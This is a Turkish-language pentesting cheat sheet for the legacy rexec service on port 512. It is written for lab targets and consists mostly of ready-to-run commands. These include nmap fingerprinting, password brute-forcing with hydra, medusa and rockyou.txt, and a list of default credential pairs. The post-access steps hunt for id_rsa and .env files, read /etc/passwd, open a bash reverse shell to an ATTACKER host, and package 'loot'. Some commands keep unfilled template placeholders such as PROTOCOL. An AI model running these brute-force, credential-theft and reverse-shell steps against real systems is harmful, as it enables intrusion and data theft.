Skip to content

512 - Pentesting Rexec

rexec legacy

rexec kullanıcı/parola ile uzak komut çalıştırır; trafik cleartext. Zayıf hesap = anında shell. Hedef lab IP’si üzerinde komutları 512 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 512 doğrula.

  2. Kullanıcı/parola dene.

  3. Komut çalıştır.

  4. rsh/rlogin ile birlikte trust bak.

Terminal window
nmap -Pn -sV -p512,513,514 TARGET
Terminal window
nc -nv TARGET 512
Terminal window
rexec TARGET -l user id
Terminal window
hydra -L users.txt -P pass.txt rexec://TARGET
Terminal window
msfconsole -q -x 'use auxiliary/scanner/rservices/rexec_login; set RHOSTS TARGET; run; exit'

Rexec için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p512 TARGET
Terminal window
nmap -Pn -p512 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:512' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',512));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Rexec
Terminal window
hydra -L users.txt -P rockyou.txt -s 512 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 512
Terminal window
nmap -p512 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit rexec
Terminal window
msfconsole -q -x 'search rexec; exit'
Terminal window
nuclei -u https://TARGET:512 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:512 -tags tech -silent || true
Terminal window
nc -nv TARGET 512
Terminal window
printf '
' | timeout 3 nc -nv TARGET 512
Terminal window
curl -vk --http1.0 http://TARGET:512/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
rexec login → id → interactive shell